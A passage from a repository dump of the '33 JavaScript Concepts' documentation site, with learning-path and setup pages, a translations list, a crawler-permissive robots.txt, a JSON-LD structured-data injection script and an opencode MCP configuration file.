1. **Primitive Types** - What are the basic building blocks? 2. **Value vs Reference Types** - How is data stored? 3. **Scope and Closures** - Where can you access variables? 4. **Call Stack** - How does JavaScript execute code? Jumping ahead might leave gaps in your understanding. ### 4. Revisit Concepts You won't master a concept in one sitting. Plan to revisit: <Steps> <Step title="First Pass"> Read the overview and try the basic examples </Step> <Step title="Second Pass (1 week later)"> Explore the curated resources. Watch a video or read an article. </Step> <Step title="Third Pass (1 month later)"> Review and apply the concept in a real project </Step> </Steps> ### 5. Explain It to Someone Else The best way to know if you understand something is to explain it. Try: - Writing a blog post about a concept you learned - Explaining it to a friend or colleague - Answering questions on Stack Overflow or Reddit If you can't explain it simply, you don't understand it well enough yet. --- ## How Much Time Should You Spend? There's no "right" answer, but here are some guidelines: | Your Goal | Suggested Pace | |-----------|---------------| | Casual learning | 1 concept per week | | Active study | 2-3 concepts per week | | Interview prep | 1 concept per day (review mode) | <Tip> **Quality over quantity.** It's better to deeply understand 5 concepts than to skim through all 33. </Tip> --- ## Using the Browser Console The fastest way to practice is with your browser's built-in console: <Steps> <Step title="Open DevTools"> Press **F12** (or **Cmd+Option+J** on Mac) in any browser </Step> <Step title="Go to Console Tab"> Click the "Console" tab </Step> <Step title="Type JavaScript"> Type any JavaScript code and press Enter to run it </Step> </Steps> ```javascript // Try this in your console right now const greeting = "Hello, JavaScript!" console.log(greeting) ``` --- ## Ready to Set Up? <CardGroup cols={2}> <Card title="Prerequisites" icon="wrench" href="/getting-started/prerequisites"> Get the tools you need to start learning </Card> <Card title="Learning Paths" icon="map" href="/getting-started/learning-paths"> Find the right path for your experience level </Card> </CardGroup> ================================================ FILE: docs/getting-started/learning-paths.mdx ================================================ --- title: "Learning Paths" sidebarTitle: "Learning Paths" description: "Find the right JavaScript learning path for your level. Structured guides for beginners, intermediate developers, and technical interview preparation." "og:type": "website" "article:author": "Leonardo Maldonado" "article:section": "Getting Started" "article:tag": "javascript learning path, javascript roadmap, beginner javascript, interview prep javascript" --- ## Choose Your Path Not everyone starts from the same place. Choose a learning path that matches your experience and goals. <Tabs> <Tab title="Beginner"> **For:** Complete beginners or those new to JavaScript **Time:** 4-8 weeks at a comfortable pace Start here if you're new to programming or just starting with JavaScript. </Tab> <Tab title="Intermediate"> **For:** Developers with some JavaScript experience **Time:** 2-4 weeks Choose this if you can write basic JavaScript but want to understand it more deeply. </Tab> <Tab title="Interview Prep"> **For:** Preparing for technical interviews **Time:** 1-2 weeks (review mode) Focus on concepts commonly asked in JavaScript interviews. </Tab> </Tabs> --- ## Beginner Path If you're new to JavaScript, follow this order. Each concept builds on the previous ones. <Steps> <Step title="Week 1-2: The Fundamentals"> Start with the building blocks of JavaScript. 1. [Primitive Types](/concepts/primitive-types) - What types of data exist in JavaScript? 2. [Primitives vs Objects](/concepts/primitives-objects) - How do JavaScript values behave differently? 3. [Type Coercion](/concepts/type-coercion) - How JavaScript converts between types 4. [Equality Operators](/concepts/equality-operators) - The difference between == and === </Step> <Step title="Week 3-4: Scope and Functions"> Understand how JavaScript organizes and executes code. 5. [Scope and Closures](/concepts/scope-and-closures) - Where variables are accessible 6. [Call Stack](/concepts/call-stack) - How JavaScript tracks function calls 7. [Event Loop](/concepts/event-loop) - How async code works </Step> <Step title="Week 5-6: Working with Data"> Learn to transform and manipulate data. 8. [Higher-Order Functions](/concepts/higher-order-functions) - Functions that work with functions 9. [map, reduce, filter](/concepts/map-reduce-filter) - Essential array methods 10. [Pure Functions](/concepts/pure-functions) - Writing predictable code </Step> <Step title="Week 7-8: Async JavaScript"> Handle operations that take time. 11. [Callbacks](/concepts/callbacks) - The original async pattern 12. [Promises](/concepts/promises) - Modern async handling 13. [async/await](/concepts/async-await) - Clean async syntax </Step> </Steps> <Info> **Take your time.** There's no rush. If a concept doesn't click, spend more time on it before moving on. Revisit the resources, try different explanations, and practice with code. </Info> --- ## Intermediate Path You know JavaScript basics. Now deepen your understanding with these concepts: <Steps> <Step title="How JavaScript Works"> Understand what's happening under the hood. 1. [Call Stack](/concepts/call-stack) - How function execution is tracked 2. [Event Loop](/concepts/event-loop) - The concurrency model 3. [JavaScript Engines](/concepts/javascript-engines) - V8 and how code runs </Step> <Step title="Object-Oriented JavaScript"> Master objects and prototypes. 4. [this, call, apply, bind](/concepts/this-call-apply-bind) - Context binding 5. [Object Creation and Prototypes](/concepts/object-creation-prototypes) - The prototype chain 6. [Factories and Classes](/concepts/factories-classes) - Object creation patterns 7. [Inheritance and Polymorphism](/concepts/inheritance-polymorphism) - OOP in JavaScript </Step> <Step title="Functional Programming"> Write cleaner, more predictable code. 8. [Pure Functions](/concepts/pure-functions) - Side-effect free functions 9. [Higher-Order Functions](/concepts/higher-order-functions) - Functions as values 10. [Currying and Composition](/concepts/currying-composition) - Advanced patterns 11. [Recursion](/concepts/recursion) - Functions that call themselves </Step> <Step title="Advanced Patterns"> Level up your code quality. 12. [Design Patterns](/concepts/design-patterns) - Proven solutions 13. [Error Handling](/concepts/error-handling) - Graceful failure 14. [Clean Code](/concepts/clean-code) - Writing maintainable code </Step> </Steps> --- ## Interview Prep Path Technical interviews often focus on these concepts. Make sure you can explain them clearly and write code examples. ### Must-Know Concepts These come up in almost every JavaScript interview: | Concept | Why It's Asked | Key Things to Know | |---------|---------------|-------------------| | [Closures](/concepts/scope-and-closures) | Tests fundamental understanding | How inner functions access outer variables | | [this keyword](/concepts/this-call-apply-bind) | Common source of bugs | The four binding rules | | [Promises](/concepts/promises) | Essential for async code | Chaining, error handling, Promise.all | | [Event Loop](/concepts/event-loop) | Shows deep understanding | Call stack, task queue, microtasks | | [Prototypes](/concepts/object-creation-prototypes) | JavaScript's inheritance | Prototype chain, Object.create | ### Common Interview Questions by Topic <AccordionGroup> <Accordion title="Scope and Closures"> - What is a closure? Give an example. - What's the difference between `var`, `let`, and `const`? - Explain lexical scope. - What is hoisting? **Study:** [Scope and Closures](/concepts/scope-and-closures) </Accordion> <Accordion title="this Keyword"> - What are the rules for `this` binding? - What's the difference between `call`, `apply`, and `bind`? - How does `this` work in arrow functions? - What's the output of [tricky this code]? **Study:** [this, call, apply, bind](/concepts/this-call-apply-bind) </Accordion> <Accordion title="Async JavaScript"> - What's the difference between callbacks, promises, and async/await? - How does the event loop work? - What are microtasks vs macrotasks? - How do you handle errors in async code? **Study:** [Promises](/concepts/promises), [async/await](/concepts/async-await), [Event Loop](/concepts/event-loop) </Accordion> <Accordion title="Objects and Prototypes"> - How does prototypal inheritance work? - What's the difference between classical and prototypal inheritance? - Explain `Object.create()`. - What's the prototype chain? **Study:** [Object Creation and Prototypes](/concepts/object-creation-prototypes) </Accordion> <Accordion title="Data Structures and Algorithms"> - Implement common array methods (map, filter, reduce). - What's the time complexity of [operation]? - When would you use a Map vs an Object? **Study:** [Data Structures](/concepts/data-structures), [Algorithms and Big O](/concepts/algorithms-big-o) </Accordion> </AccordionGroup> <Tip> **Practice explaining out loud.** In interviews, you need to articulate your thinking. Practice explaining each concept as if you're teaching someone else. </Tip> --- ## Topic-Based Paths Want to focus on a specific area? Here are paths organized by topic: ### Async Mastery 1. [Callbacks](/concepts/callbacks) 2. [Promises](/concepts/promises) 3. [async/await](/concepts/async-await) 4. [Event Loop](/concepts/event-loop) 5. [Generators and Iterators](/concepts/generators-iterators) ### Object-Oriented JavaScript 1. [Factories and Classes](/concepts/factories-classes) 2. [this, call, apply, bind](/concepts/this-call-apply-bind) 3. [Object Creation and Prototypes](/concepts/object-creation-prototypes) 4. [Inheritance and Polymorphism](/concepts/inheritance-polymorphism) ### Functional Programming 1. [Pure Functions](/concepts/pure-functions) 2. [Higher-Order Functions](/concepts/higher-order-functions) 3. [map, reduce, filter](/concepts/map-reduce-filter) 4. [Recursion](/concepts/recursion) 5. [Currying and Composition](/concepts/currying-composition) ### Web Development 1. [DOM](/concepts/dom) 2. [HTTP and Fetch](/concepts/http-fetch) 3. [Web Workers](/concepts/web-workers) 4. [ES Modules](/concepts/es-modules) --- ## Start Learning <CardGroup cols={2}> <Card title="Primitive Types" icon="play" href="/concepts/primitive-types"> Begin with the first concept </Card> <Card title="All Concepts" icon="list" href="/getting-started/about"> See the full list of 33 concepts </Card> </CardGroup> ================================================ FILE: docs/getting-started/prerequisites.mdx ================================================ --- title: "Prerequisites & Setup" sidebarTitle: "Prerequisites" description: "Set up your JavaScript learning environment in minutes. All you need is a browser and optionally a code editor. Perfect for complete beginners." "og:type": "website" "article:author": "Leonardo Maldonado" "article:section": "Getting Started" "article:tag": "javascript setup, javascript environment, beginner javascript, code editor, browser console" --- ## What Do You Need to Learn JavaScript? This guide is designed for everyone, including complete beginners. You don't need to know any programming language before starting. All you need are a few free tools that you probably already have. --- ## Required: A Web Browser JavaScript runs in every web browser. You can use any modern browser: | Browser | DevTools Shortcut | |---------|------------------| | **Chrome** (recommended) | F12 or Cmd+Option+J (Mac) | | **Firefox** | F12 or Cmd+Option+I (Mac) | | **Safari** | Cmd+Option+C (enable in Preferences first) | | **Edge** | F12 | <Tip> **We recommend Chrome** for learning. It has excellent developer tools and most tutorials use it for screenshots and examples. </Tip> ### Using the Browser Console The browser console is where you'll run JavaScript code. Here's how to open it: <Steps> <Step title="Open any webpage"> Even a blank tab works </Step> <Step title="Open Developer Tools"> Press **F12** (Windows/Linux) or **Cmd+Option+J** (Mac) </Step> <Step title="Click the Console tab"> This is your JavaScript playground </Step> <Step title="Type code and press Enter"> Try typing `console.log("Hello!")` and press Enter </Step> </Steps> ```javascript // Type this in your console right now console.log("Hello, JavaScript!") // Output: Hello, JavaScript! // Try some math 2 + 2 // Output: 4 // Create a variable const name = "Your Name" console.log(name) // Output: Your Name ``` That's it. You're ready to learn JavaScript. --- ## Recommended: A Code Editor While you can learn a lot in the browser console, a code editor makes writing longer code much easier. ### Free Options <CardGroup cols={2}> <Card title="VS Code" icon="code" href="https://code.visualstudio.com/"> **Most popular choice.** Free, powerful, with excellent JavaScript support. Works on Windows, Mac, and Linux. </Card> <Card title="Sublime Text" icon="code" href="https://www.sublimetext.com/"> **Fast and lightweight.** Free to evaluate, works on all platforms. </Card> </CardGroup> ### Online Editors (No Installation) If you don't want to install anything, these online editors work great: <CardGroup cols={2}> <Card title="CodePen" icon="codepen" href="https://codepen.io/"> Great for quick experiments. See your code run instantly. </Card> <Card title="JSFiddle" icon="js" href="https://jsfiddle.net/"> Simple and clean. Good for testing snippets. </Card> <Card title="StackBlitz" icon="bolt" href="https://stackblitz.com/"> Full development environment in your browser. </Card> <Card title="CodeSandbox" icon="box" href="https://codesandbox.io/"> Perfect for larger projects and frameworks. </Card> </CardGroup> --- ## Optional: Node.js [Node.js](https://nodejs.org/) lets you run JavaScript outside the browser, on your computer's command line. **You don't need Node.js to learn from this guide.** Everything can be done in the browser. However, if you want to: - Run JavaScript files from your terminal - Use JavaScript for backend development later - Follow along with some advanced tutorials Then install the **LTS (Long Term Support)** version from [nodejs.org](https://nodejs.org/). ### Checking if Node.js is Installed Open your terminal (Command Prompt on Windows, Terminal on Mac/Linux) and type: ```bash node --version ``` If you see a version number like `v20.10.0`, you're good to go. --- ## Your First JavaScript Code Let's make sure everything works. Open your browser console and type: ```javascript // Variables const message = "I'm learning JavaScript!" console.log(message) // A simple function function greet(name) { return "Hello, " + name + "!" } console.log(greet("World")) // Output: Hello, World! ``` If you see the output, congratulations! You're ready to start learning. --- ## Summary | Tool | Required? | Purpose | |------|-----------|---------| | Web Browser | Yes | Run JavaScript, use DevTools console | | Code Editor | Recommended | Write and save longer code | | Node.js | Optional | Run JavaScript outside the browser | --- ## Next Steps <CardGroup cols={2}> <Card title="Learning Paths" icon="map" href="/getting-started/learning-paths"> Find the right learning path for your goals </Card> <Card title="Start with Primitives" icon="play" href="/concepts/primitive-types"> Jump into the first concept </Card> </CardGroup> ================================================ FILE: docs/index.mdx ================================================ --- title: "Learn JavaScript" sidebarTitle: "Welcome" description: "Master JavaScript with 33 core concepts. Clear explanations, practical examples, and curated resources for developers at any level." "article:tag": "javascript concepts, learn javascript, javascript tutorial, javascript fundamentals, web development guide, 33 js concepts" --- Want to truly understand how JavaScript works? Not just copy-paste code, but actually know what's happening under the hood? These 33 concepts are the foundation. Whether you're debugging a tricky closure, optimizing async code, or preparing for technical interviews, this is the knowledge that separates developers who struggle from those who ship with confidence. <Info> **What you'll find in this guide:** - Clear explanations written for humans, not textbooks - Practical code examples you can run and modify - Visual diagrams that make abstract concepts click - Curated resources (articles, videos, docs) for deeper learning - Knowledge checks to test your understanding </Info> --- ## Who Is This For? This guide meets you where you are. Whether you're writing your first line of JavaScript or you've been shipping code for years, there's something here for you. <CardGroup cols={2}> <Card title="Beginners" icon="seedling"> New to JavaScript? Start from the fundamentals and build real understanding, not just syntax memorization. </Card> <Card title="Self-Taught Developers" icon="lightbulb"> Fill the gaps in your knowledge. Finally understand the "why" behind patterns you've been using. </Card> <Card title="Interview Prep" icon="briefcase"> These concepts come up constantly in technical interviews. Know them cold. </Card> <Card title="Experienced Devs" icon="rocket"> Solidify your mental models. Teach others with confidence. </Card> </CardGroup> --- ## The 33 Concepts Each concept builds on the others. Start from the beginning or jump to what you need. Every page includes explanations, code examples, and resources to go deeper. <CardGroup cols={2}> <Card title="Fundamentals" icon="cube" href="/concepts/primitive-types"> Types, Scope, Closures, Call Stack, and how JavaScript actually executes your code </Card> <Card title="Functions & Execution" icon="code" href="/concepts/event-loop"> The Event Loop, IIFE, Modules, and why JavaScript can be both single-threaded and non-blocking </Card> <Card title="Web Platform" icon="browser" href="/concepts/dom"> DOM manipulation, HTTP requests with Fetch, and Web Workers for background processing </Card> <Card title="Object-Oriented JS" icon="sitemap" href="/concepts/factories-classes"> Classes, Prototypes, the `this` keyword, and how inheritance really works </Card> <Card title="Async JavaScript" icon="clock" href="/concepts/promises"> Callbacks, Promises, async/await, and patterns for handling asynchronous operations </Card> <Card title="Functional Programming" icon="filter" href="/concepts/higher-order-functions"> Pure functions, Higher-order functions, map/reduce/filter, recursion, and composition </Card> <Card title="Advanced Topics" icon="graduation-cap" href="/concepts/data-structures"> Data structures, Algorithms, Design patterns, and writing clean, maintainable code </Card> </CardGroup> --- ## A Community Project <Tip> **Recognized by GitHub** as one of the [top open source projects of 2018](https://github.blog/news-insights/octoverse/new-open-source-projects/#top-projects-of-2018). </Tip> Created by [Leonardo Maldonado](https://github.com/leonardomso) and improved by hundreds of contributors worldwide. Translated into 40+ languages, making JavaScript education accessible to developers everywhere. --- ## Start Learning <CardGroup cols={2}> <Card title="About This Project" icon="circle-info" href="/getting-started/about"> The story behind the project and how to get the most out of it </Card> <Card title="Begin with Concept #1" icon="play" href="/concepts/primitive-types"> Start with Primitive Types and work your way through </Card> </CardGroup> ================================================ FILE: docs/robots.txt ================================================ # Belt-and-suspenders robots.txt for 33jsconcepts.com # # PRIMARY FIX: Cloudflare dashboard configuration is required to override # Cloudflare-managed AI bot blocking. This file serves as the origin-level # directive and fallback if Cloudflare managed robots is disabled. # # Cloudflare Dashboard Paths: # - Security -> Settings -> Bot traffic -> robots.txt setting # - AI Crawl Control -> Crawlers (allow/block per crawler) # - AI Crawl Control -> Robots.txt tab (check managed status) # # This file allows ALL major search engines and AI crawlers to index content. # Default rule: Allow all bots to crawl everything except Cloudflare internal paths User-agent: * Allow: / Disallow: /cdn-cgi/ # Explicit allow directives for major search engine bots User-agent: Googlebot Allow: / User-agent: Bingbot Allow: / User-agent: Yandexbot Allow: / User-agent: DuckDuckBot Allow: / # Explicit allow directives for AI search engine bots # These override any Cloudflare-managed blocks at the origin level User-agent: GPTBot Allow: / User-agent: ChatGPT-User Allow: / User-agent: ClaudeBot Allow: / User-agent: anthropic-ai Allow: / User-agent: PerplexityBot Allow: / User-agent: Google-Extended Allow: / # Sitemap for search engine discovery Sitemap: https://33jsconcepts.com/sitemap.xml ================================================ FILE: docs/schema-inject.js ================================================ (function () { "use strict"; var SITE_NAME = "33 JavaScript Concepts"; var SCHEMA_SCRIPT_ID = "structured-data-jsonld"; var AUTHOR = { "@type": "Person", name: "Leonardo Maldonado", url: "https://github.com/leonardomso", }; var PUBLISHER = { "@type": "Organization", name: SITE_NAME, }; function safeText(value) { return String(value || "").replace(/\s+/g, " ").trim(); } function withoutHash(url) { return String(url || "").split("#")[0]; } function getSiteOrigin() { try { if (window.location && window.location.origin) return window.location.origin; return window.location.protocol + "//" + window.location.host; } catch (_error) { return ""; } } function normalizePath(pathname) { var path = pathname || "/"; if (path !== "/") path = path.replace(/\/+$/, ""); return path || "/"; } function toTitle(segment) { var cleaned = decodeURIComponent(segment || "") .replace(/[-_]+/g, " ") .replace(/\s+/g, " ") .trim(); if (!cleaned) return ""; return cleaned .split(" ") .map(function (word) { return word.charAt(0).toUpperCase() + word.slice(1); }) .join(" "); } function toAbsoluteUrl(pathOrUrl) { try { return new URL(pathOrUrl, getSiteOrigin()).toString(); } catch (_error) { return String(pathOrUrl || ""); } } function getCanonicalUrl() { try { var canonical = document.querySelector('link[rel="canonical"]'); if (canonical && canonical.href) return withoutHash(canonical.href); } catch (_error) {} return withoutHash(window.location.href); } function getDescription() { try { var meta = document.querySelector('meta[name="description"]'); if (meta && meta.content) return safeText(meta.content); } catch (_error) {} return ""; } function getPageTitle() { try { var h1 = document.querySelector("h1"); if (h1) { var headingText = safeText(h1.textContent); if (headingText) return headingText; } } catch (_error) {} return safeText(document.title); } function getDatePublished() { try { var publishedMeta = document.querySelector('meta[property="article:published_time"]'); if (publishedMeta && publishedMeta.content) return publishedMeta.content; var timeEl = document.querySelector("time[datetime]"); if (timeEl) { var dateTime = timeEl.getAttribute("datetime"); if (dateTime) return dateTime; } if (document.lastModified) { var parsed = new Date(document.lastModified); if (!Number.isNaN(parsed.getTime())) return parsed.toISOString(); } } catch (_error) {} return new Date().toISOString(); } function isHomePage(pathname) { return normalizePath(pathname) === "/"; } function isConceptArticle(pathname) { return /^\/(concepts|beyond\/concepts)\/[^/]+$/.test(normalizePath(pathname)); } function isConceptLink(pathname) { return /^\/concepts\/[^/]+$/.test(normalizePath(pathname)); } function textFromCandidates(candidates, questionText) { for (var i = 0; i < candidates.length; i += 1) { var node = candidates[i]; if (!node) continue; if (node.tagName === "BUTTON") continue; var content = safeText(node.textContent); if (!content) continue; if (content === questionText) continue; if (questionText && content.indexOf(questionText) === 0) { content = safeText(content.slice(questionText.length)); } if (content.length >= 20) return content; } return ""; } function findFaqHeading() { try { var headings = Array.prototype.slice.call(document.querySelectorAll("h2")); for (var i = 0; i < headings.length; i += 1) { var headingText = safeText(headings[i].textContent).toLowerCase(); if (headingText === "frequently asked questions") return headings[i]; } } catch (_error) {} return null; } function getFaqSectionNodes(heading) { var nodes = []; var cursor = heading ? heading.nextElementSibling : null; while (cursor) { if (cursor.tagName === "H2") break; nodes.push(cursor); cursor = cursor.nextElementSibling; } return nodes; } function getFaqAnswerText(trigger, questionText) { var candidates = []; var controlsId = trigger.getAttribute("aria-controls"); if (controlsId) candidates.push(document.getElementById(controlsId)); candidates.push(trigger.nextElementSibling); if (trigger.parentElement) { candidates.push(trigger.parentElement.nextElementSibling); candidates.push(trigger.parentElement); } var detailsRoot = trigger.closest("details"); if (detailsRoot) { candidates.push(detailsRoot.querySelector("[role='region']")); candidates.push(detailsRoot.querySelector("div")); candidates.push(detailsRoot); } var itemRoot = trigger.closest("li, section, article, div"); if (itemRoot) { candidates.push(itemRoot.querySelector("[role='region']")); candidates.push(itemRoot.querySelector("[data-state='open']")); candidates.push(itemRoot.querySelector("[data-state='closed']")); candidates.push(itemRoot.querySelector("div")); candidates.push(itemRoot); } return textFromCandidates(candidates, questionText); } function extractFaqItems() { try { var heading = findFaqHeading(); if (!heading) return []; var sectionNodes = getFaqSectionNodes(heading); if (!sectionNodes.length) return []; var questions = []; var seen = new Set(); sectionNodes.forEach(function (node) { var triggers = Array.prototype.slice.call( node.querySelectorAll("button[aria-controls], button[data-state], button, summary, [role='button']") ); triggers.forEach(function (trigger) { var questionText = safeText(trigger.textContent); if (!questionText || questionText.length < 8) return; if (seen.has(questionText)) return; var answerText = getFaqAnswerText(trigger, questionText); if (!answerText) return; seen.add(questionText); questions.push({ "@type": "Question", name: questionText, acceptedAnswer: { "@type": "Answer", text: answerText, }, }); }); }); return questions; } catch (_error) { return []; } } function buildBreadcrumbList(pathname) { var parts = normalizePath(pathname).split("/").filter(Boolean); var itemListElement = [ { "@type": "ListItem", position: 1, name: "Home", item: toAbsoluteUrl("/"), }, ]; var runningPath = ""; for (var i = 0; i < parts.length; i += 1) { runningPath += "/" + parts[i]; itemListElement.push({ "@type": "ListItem", position: i + 2, name: toTitle(parts[i]), item: toAbsoluteUrl(runningPath), }); } return { "@type": "BreadcrumbList", itemListElement: itemListElement, }; } function buildConceptItemList() { try { var root = document.querySelector("main") || document.body; var links = Array.prototype.slice.call(root.querySelectorAll("a[href]")); var seen = new Set(); var concepts = []; links.forEach(function (link) { if (!link || !link.href) return; var url; try { url = new URL(link.href, getSiteOrigin()); } catch (_error) { return; } if (url.origin !== getSiteOrigin()) return; if (!isConceptLink(url.pathname)) return; var canonical = withoutHash(url.toString()); if (seen.has(canonical)) return; seen.add(canonical); concepts.push({ name: safeText(link.textContent) || toTitle(url.pathname.split("/").pop()), item: canonical, }); }); if (!concepts.length) return null; var limited = concepts.slice(0, 33); var itemListElement = limited.map(function (concept, index) { return { "@type": "ListItem", position: index + 1, name: concept.name, item: concept.item, }; }); return { "@type": "ItemList", name: "33 JavaScript Concepts", numberOfItems: itemListElement.length, itemListElement: itemListElement, }; } catch (_error) { return null; } } function buildGraph() { var pathname = normalizePath(window.location.pathname || "/"); var canonicalUrl = getCanonicalUrl(); var headline = getPageTitle(); var description = getDescription(); var graph = []; if (isHomePage(pathname)) { graph.push({ "@type": "WebSite", name: SITE_NAME, description: description, url: toAbsoluteUrl("/"), potentialAction: { "@type": "SearchAction", target: toAbsoluteUrl("/search?q={search_term_string}"), "query-input": "required name=search_term_string", }, }); var conceptList = buildConceptItemList(); if (conceptList) graph.push(conceptList); return graph; } if (isConceptArticle(pathname)) { graph.push({ "@type": "TechArticle", headline: headline, description: description, url: canonicalUrl, mainEntityOfPage: canonicalUrl, datePublished: getDatePublished(), dateModified: getDatePublished(), author: AUTHOR, publisher: PUBLISHER, }); graph.push(buildBreadcrumbList(pathname)); var faqItems = extractFaqItems(); if (faqItems.length) { graph.push({ "@type": "FAQPage", mainEntity: faqItems, }); } return graph; } graph.push({ "@type": "WebPage", name: headline, description: description, url: canonicalUrl, }); graph.push(buildBreadcrumbList(pathname)); return graph; } function injectSchema() { try { var graph = buildGraph(); if (!graph.length) return; var payload = JSON.stringify({ "@context": "https://schema.org", "@graph": graph, }); var existing = document.getElementById(SCHEMA_SCRIPT_ID); if (existing) { if (existing.text === payload) return; existing.text = payload; return; } var script = document.createElement("script"); script.id = SCHEMA_SCRIPT_ID; script.type = "application/ld+json"; script.text = payload; document.head.appendChild(script); } catch (_error) {} } if (document.readyState === "loading") { document.addEventListener("DOMContentLoaded", injectSchema, { once: true }); } else { injectSchema(); } })(); ================================================ FILE: docs/translations.mdx ================================================ --- title: "Translations" description: "33 JavaScript Concepts is available in 40+ languages. Find translations in Chinese, Spanish, Portuguese, Korean, and more." "og:type": "website" "article:author": "Leonardo Maldonado" "article:section": "Community" "article:tag": "javascript translations, multilingual programming, learn javascript languages, 33 concepts translations" --- ## Community Translations Thanks to our amazing community, 33 JavaScript Concepts has been translated into over 40 languages! Feel free to submit a PR to add your own translation. <Info> Want to contribute a translation? Check out our [Contributing Guide](/contributing) for instructions on how to create and submit a translation. </Info> ## Available Languages <CardGroup cols={2}> <Card title="Arabic (اَلْعَرَبِيَّةُ‎)" icon="language" href="https://github.com/amrsekilly/33-js-concepts"> By Amr Elsekilly </Card> <Card title="Bulgarian (Български)" icon="language" href="https://github.com/thewebmasterp/33-js-concepts"> By thewebmasterp </Card> <Card title="Chinese (汉语)" icon="language" href="https://github.com/stephentian/33-js-concepts"> By Re Tian </Card> <Card title="Brazilian Portuguese (Português do Brasil)" icon="language" href="https://github.com/tiagoboeing/33-js-concepts"> By Tiago Boeing </Card> <Card title="Korean (한국어)" icon="language" href="https://github.com/yjs03057/33-js-concepts.git"> By Suin Lee </Card> <Card title="Spanish (Español)" icon="language" href="https://github.com/adonismendozaperez/33-js-conceptos"> By Adonis Mendoza </Card> <Card title="Turkish (Türkçe)" icon="language" href="https://github.com/ilker0/33-js-concepts"> By İlker Demir </Card> <Card title="Russian (русский язык)" icon="language" href="https://github.com/gumennii/33-js-concepts"> By Mihail Gumennii </Card> </CardGroup> ## All Translations | Language | Translator | Repository | |----------|------------|------------| | Arabic (اَلْعَرَبِيَّةُ‎) | Amr Elsekilly | [Link](https://github.com/amrsekilly/33-js-concepts) | | Bulgarian (Български) | thewebmasterp | [Link](https://github.com/thewebmasterp/33-js-concepts) | | Chinese (汉语) | Re Tian | [Link](https://github.com/stephentian/33-js-concepts) | | Brazilian Portuguese | Tiago Boeing | [Link](https://github.com/tiagoboeing/33-js-concepts) | | Korean (한국어) | Suin Lee | [Link](https://github.com/yjs03057/33-js-concepts.git) | | Spanish (Español) | Adonis Mendoza | [Link](https://github.com/adonismendozaperez/33-js-conceptos) | | Turkish (Türkçe) | İlker Demir | [Link](https://github.com/ilker0/33-js-concepts) | | Russian (русский язык) | Mihail Gumennii | [Link](https://github.com/gumennii/33-js-concepts) | | Vietnamese (Tiếng Việt) | Nguyễn Trần Chung | [Link](https://github.com/nguyentranchung/33-js-concepts) | | Polish (Polski) | Dawid Lipinski | [Link](https://github.com/lip3k/33-js-concepts) | | Persian (فارسی) | Majid Alavizadeh | [Link](https://github.com/majidalavizadeh/33-js-concepts) | | Indonesian (Bahasa Indonesia) | Rijdzuan Sampoerna | [Link](https://github.com/rijdz/33-js-concepts) | | French (Français) | Robin Métral | [Link](https://github.com/robinmetral/33-concepts-js) | | Hindi (हिन्दी) | Vikas Chauhan | [Link](https://github.com/vikaschauhan/33-js-concepts) | | Greek (Ελληνικά) | Dimitris Zarachanis | [Link](https://github.com/DimitrisZx/33-js-concepts) | | Japanese (日本語) | oimo23 | [Link](https://github.com/oimo23/33-js-concepts) | | German (Deutsch) | burhannn | [Link](https://github.com/burhannn/33-js-concepts) | | Ukrainian (украї́нська мо́ва) | Andrew Savetchuk | [Link](https://github.com/AndrewSavetchuk/33-js-concepts-ukrainian-translation) | | Sinhala (සිංහල) | Udaya Shamendra | [Link](https://github.com/ududsha/33-js-concepts) | | Italian (Italiano) | Gianluca Fiore | [Link](https://github.com/Donearm/33-js-concepts) | | Latvian (Latviešu) | Jānis Īvāns | [Link](https://github.com/ANormalStick/33-js-concepts) | | Oromo (Afaan Oromoo) | Amanuel Dagnachew | [Link](https://github.com/Amandagne/33-js-concepts) | | Thai (ภาษาไทย) | Arif Waram | [Link](https://github.com/ninearif/33-js-concepts) | | Catalan (Català) | Mario Estrada | [Link](https://github.com/marioestradaf/33-js-concepts) | | Swedish (Svenska) | Fenix Hongell | [Link](https://github.com/FenixHongell/33-js-concepts/) | | Khmer (ខ្មែរ) | Chrea Chanchhunneng | [Link](https://github.com/Chhunneng/33-js-concepts) | | Ethiopian (አማርኛ) | Miniyahil Kebede | [Link](https://github.com/hmhard/33-js-concepts) | | Belarussian (Беларуская мова) | Dzianis Yafimau | [Link](https://github.com/Yafimau/33-js-concepts) | | Uzbek (O'zbekcha) | Shokhrukh Usmonov | [Link](https://github.com/smnv-shokh/33-js-concepts) | | Urdu (اردو) | Yasir Nawaz | [Link](https://github.com/sudoyasir/33-js-concepts) | | Bengali (বাংলা) | Jisan Mia | [Link](https://github.com/Jisan-mia/33-js-concepts) | | Gujarati (ગુજરાતી) | Vatsal Bhuva | [Link](https://github.com/VatsalBhuva11/33-js-concepts) | | Sindhi (سنڌي) | Sunny Gandhwani | [Link](https://github.com/Sunny-unik/33-js-concepts) | | Bhojpuri (भोजपुरी) | Pronay Debnath | [Link](https://github.com/debnath003/33-js-concepts) | | Punjabi (ਪੰਜਾਬੀ) | Harsh Dev Pathak | [Link](https://github.com/Harshdev098/33-js-concepts) | | Malayalam (മലയാളം) | Akshay Manoj | [Link](https://github.com/Stark-Akshay/33-js-concepts) | | Yoruba (Yorùbá) | Ayomide Bajulaye | [Link](https://github.com/ayobaj/33-js-concepts) | | Hebrew (עברית‎) | Refael Yzgea | [Link](https://github.com/rafyzg/33-js-concepts) | | Dutch (Nederlands) | Dave Visser | [Link](https://github.com/dlvisser/33-js-concepts) | | Tamil (தமிழ்) | Udaya Krishnan M | [Link](https://github.com/UdayaKrishnanM/33-js-concepts) | ## Create Your Own Translation Want to help make JavaScript concepts accessible in your language? <Card title="Start Translating" icon="globe" href="/contributing"> Follow our contribution guidelines to create a translation </Card> ================================================ FILE: index.js ================================================ /* 33 JavaScript Concepts is a project created to help JavaScript developers master their skills. It is a compilation of fundamental JavaScript concepts that are important and fundamental. This project was inspired by an article written by Stephen Curtis. Any kind of contribution is welcome. Feel free to contribute. */ ================================================ FILE: opencode.jsonc ================================================ { "$schema": "https://opencode.ai/config.json", // MCP Server Configuration "mcp": { "context7": { "type": "remote", "url": "https://mcp.context7.com/mcp" }, "github": { "type": "local", "command": ["bunx", "@modelcontextprotocol/server-github"], "environment": { "GITHUB_PERSONAL_ACCESS_TOKEN": "{env:GITHUB_PERSONAL_ACCESS_TOKEN}", "GITHUB_TOOLSETS": "repos,issues,pull_requests,actions,code_security" } } }, // Tool Configuration "tools": { // Enable the skill loading tool "skill": true }, // Permission Configuration "permission": { // Skill permissions - allow all project skills by default "skill": { // Project-specific skills "write-concept": "allow", "fact-check": "allow", "seo-review": "allow", "test-writer": "allow", "resource-curator": "allow", "concept-workflow": "allow", // Default behavior for other skills "*": "ask" } } } ================================================ FILE: package.json 